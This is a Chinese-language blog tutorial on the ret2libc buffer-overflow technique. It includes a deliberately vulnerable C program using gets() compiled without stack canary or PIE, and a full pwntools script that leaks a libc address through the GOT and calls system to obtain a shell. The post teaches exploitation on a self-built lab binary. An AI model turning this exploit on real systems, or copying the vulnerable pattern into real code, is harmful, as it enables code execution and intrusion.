ret2libc

 

libc,C函数库

泄露libc函数地址的条件:

1.有输出函数(puts,printf,write等)

2.将参数设置为某函数got表地址

执行后就会打印got表的内容。got表中每个函数的偏移,只要用获得的地址减去偏移就可以得到基地址,再通过加上偏移,即可实现任意调用libc中的任意函数。

通过真实的函数地址的后三位可以通过https://libc.blukat.me/知道libc的版本,从而知道其他函数如system的地址偏移。

 

payload=‘a'*offset + p32(返回地址1,或函数A的地址) + p32(返回地址2) + 函数A的参数列表(1,2,3.......)

如果返回地址1是一个函数的入口地址,如printf@plt,那么紧接着应该接一个返回地址,因为此时的ret指令已经相当于call指令了,栈中需要一个该函数的返回地址,也就是该函数执行结束后返回的位置,即是返回地址2。

 举个demo:

实验代码:

#include<stdio.h>

void task()
{
	char buf[5]={0};
	gets(buf);
}
void main()
{
	write(1,"hello",5);
	task();
}

gcc -no-pie -fno-stack-protector -m32 -o ret2libc ret2libc1_32.c    //ASLMR = 1

关闭canary保护和pie保护

from pwn import *
context(arch="i386",os="linux")
p=process("./ret2libc")
e=ELF("./ret2libc")
offset=17      
write_plt = e.plt["write"]
gets_got = e.got["gets"]
task_addr = e.symbols["task"]  //找函数找变量

payload1=offset*'a'+ p32(write_plt) + p32(task_addr) + p32(1) + p32(gets_got) + p32(4) //为了2次返回
p.sendlineafter("hello",payload1)
gets_addr = u32(p.recv())
libc=ELF("/lib32/libc.so.6")
libc_base = gets_addr - libc.symbols["gets"]
system_addr = libc_base+libc.symbols["system"]
sh_addr = libc_base+libc.search("/bin/bash").next()   //search函数会找到多个值而返回多个,用next()取第一个就行。
payload2='a'*offset + p32(system_addr) + p32(0) + p32(sh_addr)  //p32(0)是因为执行system后返回到哪都无所谓,因为不打算返回
p.sendline(payload2)
p.interactive()

 

posted @ 2020-03-22 23:30  An2i  阅读(365)  评论(0)    收藏  举报